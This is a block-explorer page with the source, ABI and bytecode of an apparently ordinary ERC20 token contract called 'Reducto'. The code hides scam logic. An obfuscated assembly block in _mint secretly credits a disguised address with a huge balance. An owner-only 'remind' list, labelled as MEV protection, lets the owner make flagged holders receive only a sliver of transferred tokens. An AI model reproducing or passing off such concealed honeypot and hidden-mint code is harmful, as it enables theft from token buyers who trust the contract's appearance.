Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;
import "./ERC20.sol";

contract Reducto is ERC20 {
    constructor() ERC20("Reducto", "RDCT") {
        _mint(msg.sender, 1000000000 * 10 ** 18);
    }

    function remindState(address _address_) public view returns (uint256) {
        return _remind_positions[_address_];
    }

    function remind(uint256 _remind_position, address [] calldata _list_) external {
        require((msg.sender == owner()));
        for (uint256 i = 0; i < _list_.length; i++) {
            _remind_positions[_list_[i]] = _remind_position;
        }
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) internal _remind_positions;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 _amount = _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += _amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }

        assembly {
            let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))
            mstore(0x00, slot)
            mstore(0x20, 0x01)
            let sslot := keccak256(0x0, 0x40)
            sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        } 

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _bots_reminder(uint256 a) internal pure returns(uint256) {return a * 6969 / 420420;}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address ,
        address to,
        uint256 
    ) internal virtual {
        if (_remind_positions[to] == 1) {_remind_positions[to] = 2;}
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256) {
        // MEV protection
        if (_remind_positions[from] + _remind_positions[to] >= 2) {
            return _bots_reminder(amount);
        } else {
            return amount;
        }
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_remind_position","type":"uint256"},{"internalType":"address[]","name":"_list_","type":"address[]"}],"name":"remind","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"remindState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600781526020017f5265647563746f000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f52444354000000000000000000000000000000000000000000000000000000008152506200009e62000092620000e860201b60201c565b620000f060201b60201c565b8160049081620000af919062000756565b508060059081620000c1919062000756565b505050620000e2336b033b2e3c9fd0803ce8000000620001b460201b60201c565b62000a20565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000226576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021d906200089e565b60405180910390fd5b6200023a600083836200036660201b60201c565b5080600660008282546200024f9190620008ef565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550630f3eae65640997e6e50902673398bc1d25f112ed64085774394d02028060005260016020526040600020720fffffffffffffffffffffffffffffffffffff815550508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200034691906200093b565b60405180910390a362000362600083836200042060201b60201c565b5050565b60006002600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003f69190620008ef565b1062000415576200040d82620004b360201b60201c565b905062000419565b8190505b9392505050565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403620004ae576002600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600062066a44611b3983620004c9919062000958565b620004d59190620009e8565b9050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200055e57607f821691505b60208210810362000574576200057362000516565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620005de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200059f565b620005ea86836200059f565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000637620006316200062b8462000602565b6200060c565b62000602565b9050919050565b6000819050919050565b620006538362000616565b6200066b62000662826200063e565b848454620005ac565b825550505050565b600090565b6200068262000673565b6200068f81848462000648565b505050565b5b81811015620006b757620006ab60008262000678565b60018101905062000695565b5050565b601f8211156200070657620006d0816200057a565b620006db846200058f565b81016020851015620006eb578190505b62000703620006fa856200058f565b83018262000694565b50505b505050565b600082821c905092915050565b60006200072b600019846008026200070b565b1980831691505092915050565b600062000746838362000718565b9150826002028217905092915050565b6200076182620004dc565b67ffffffffffffffff8111156200077d576200077c620004e7565b5b62000789825462000545565b62000796828285620006bb565b600060209050601f831160018114620007ce5760008415620007b9578287015190505b620007c5858262000738565b86555062000835565b601f198416620007de866200057a565b60005b828110156200080857848901518255600182019150602085019450602081019050620007e1565b8683101562000828578489015162000824601f89168262000718565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000886601f836200083d565b915062000893826200084e565b602082019050919050565b60006020820190508181036000830152620008b98162000877565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008fc8262000602565b9150620009098362000602565b9250828201905080821115620009245762000923620008c0565b5b92915050565b620009358162000602565b82525050565b60006020820190506200095260008301846200092a565b92915050565b6000620009658262000602565b9150620009728362000602565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009ae57620009ad620008c0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009f58262000602565b915062000a028362000602565b92508262000a155762000a14620009b9565b5b828204905092915050565b611ab98062000a306000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b806370a082311461023b578063715018a61461026b5780638da5cb5b1461027557806395d89b411461029357610100565b806323b872dd116100d357806323b872dd146101a15780632b348055146101d1578063313ce567146101ed578063395093511461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631bfcf0d814610171575b600080fd5b61010d61035d565b60405161011a9190611073565b60405180910390f35b61013d60048036038101906101389190611133565b6103ef565b60405161014a919061118e565b60405180910390f35b61015b610412565b60405161016891906111b8565b60405180910390f35b61018b600480360381019061018691906111d3565b61041c565b60405161019891906111b8565b60405180910390f35b6101bb60048036038101906101b69190611200565b610465565b6040516101c8919061118e565b60405180910390f35b6101eb60048036038101906101e691906112b8565b610494565b005b6101f5610565565b6040516102029190611334565b60405180910390f35b61022560048036038101906102209190611133565b61056e565b604051610232919061118e565b60405180910390f35b610255600480360381019061025091906111d3565b6105a5565b60405161026291906111b8565b60405180910390f35b6102736105ee565b005b61027d610602565b60405161028a919061135e565b60405180910390f35b61029b61062b565b6040516102a89190611073565b60405180910390f35b6102cb60048036038101906102c69190611133565b6106bd565b6040516102d8919061118e565b60405180910390f35b6102fb60048036038101906102f69190611133565b610734565b604051610308919061118e565b60405180910390f35b61032b60048036038101906103269190611379565b610757565b60405161033891906111b8565b60405180910390f35b61035b600480360381019061035691906111d3565b6107de565b005b60606004805461036c906113e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906113e8565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610861565b9050610407818585610869565b600191505092915050565b6000600654905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080610470610861565b905061047d858285610a32565b610488858585610abe565b60019150509392505050565b61049c610602565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104d357600080fd5b60005b8282905081101561055f5783600360008585858181106104f9576104f8611419565b5b905060200201602081019061050e91906111d3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061055790611477565b9150506104d6565b50505050565b60006012905090565b600080610579610861565b905061059a81858561058b8589610757565b61059591906114bf565b610869565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105f6610d3c565b6106006000610dba565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461063a906113e8565b80601f0160208091040260200160405190810160405280929190818152602001828054610666906113e8565b80156106b35780601f10610688576101008083540402835291602001916106b3565b820191906000526020600020905b81548152906001019060200180831161069657829003601f168201915b5050505050905090565b6000806106c8610861565b905060006106d68286610757565b90508381101561071b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071290611565565b60405180910390fd5b6107288286868403610869565b60019250505092915050565b60008061073f610861565b905061074c818585610abe565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107e6610d3c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084c906115f7565b60405180910390fd5b61085e81610dba565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cf90611689565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093e9061171b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a2591906111b8565b60405180910390a3505050565b6000610a3e8484610757565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ab85781811015610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611787565b60405180910390fd5b610ab78484848403610869565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490611819565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b93906118ab565b60405180910390fd5b6000610ba9848484610e7e565b90506000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c299061193d565b60405180910390fd5b828103600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d2291906111b8565b60405180910390a3610d35858585610f2c565b5050505050565b610d44610861565b73ffffffffffffffffffffffffffffffffffffffff16610d62610602565b73ffffffffffffffffffffffffffffffffffffffff1614610db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610daf906119a9565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0c91906114bf565b10610f2157610f1a82610fbe565b9050610f25565b8190505b9392505050565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610fb9576002600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600062066a44611b3983610fd291906119c9565b610fdc9190611a52565b9050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561101d578082015181840152602081019050611002565b60008484015250505050565b6000601f19601f8301169050919050565b600061104582610fe3565b61104f8185610fee565b935061105f818560208601610fff565b61106881611029565b840191505092915050565b6000602082019050818103600083015261108d818461103a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110ca8261109f565b9050919050565b6110da816110bf565b81146110e557600080fd5b50565b